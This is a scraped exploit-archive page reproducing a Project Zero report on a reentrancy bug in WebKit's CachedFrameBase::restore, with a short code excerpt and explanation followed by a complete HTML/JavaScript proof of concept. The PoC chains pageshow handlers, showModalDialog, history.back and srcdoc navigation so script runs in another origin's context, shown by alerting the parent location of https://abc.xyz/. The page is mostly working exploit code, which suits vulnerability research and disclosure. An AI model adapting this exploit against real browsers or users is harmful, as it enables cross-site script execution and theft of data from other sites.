扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 |
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1151 Here is a snippet of CachedFrameBase::restore which is invoked when cached frames are restored. void CachedFrameBase::restore() { ... for (auto& childFrame : m_childFrames) { ASSERT(childFrame->view()->frame().page()); frame.tree().appendChild(childFrame->view()->frame()); childFrame->open(); <----- (a) } ... // FIXME: update Page Visibility state here. // https://bugs.webkit.org/show_bug.cgi?id=116770 m_document->enqueuePageshowEvent(PageshowEventPersisted); HistoryItem* historyItem = frame.loader().history().currentItem(); if (historyItem && historyItem->stateObject()) m_document->enqueuePopstateEvent(historyItem->stateObject()); frame.view()->didRestoreFromPageCache(); } enqueuePageshowEvent and enqueuePopstateEvent are named "enqueue*", but actually those *dispatch* window events that may fire JavaScript handlers synchronously. At (a), |open| method may invoke |CachedFrameBase::restore| method again. Thus, the parent frame's document may be replaced while |open| is called in the iteration, the next child frame is attached to the parent frame holding the replaced document. PoC: --> <html> <body> <script> function createURL(data, type = 'text/html') { return URL.createObjectURL(new Blob([data], {type: type})); } function navigate(w, url) { let a = w.document.createElement('a'); a.href = url; a.click(); } function main() { let i0 = document.body.appendChild(document.createElement('iframe')); let i1 = document.body.appendChild(document.createElement('iframe')); i0.contentWindow.onpageshow = () => { navigate(window, 'https://abc.xyz/'); showModalDialog(createURL(<code> <script> let it = setInterval(() => { try { opener.document.x; } catch (e) { clearInterval(it); window.close(); } }, 10); </scrip</code> + 't>')); }; i1.contentWindow.onpageshow = () => { i1.srcdoc = '<script>alert(parent.location);</scrip' + 't>'; navigate(i1.contentWindow, 'about:srcdoc'); }; navigate(window, createURL(<code><html><head></head><body>Click anywhere<script> window.onclick = () => { window.onclick = null; history.back(); }; </scrip</code> + <code>t></body></html></code>)); } window.onload = () => { setTimeout(main, 0); }; </script> </body> </html> |
体验盒子
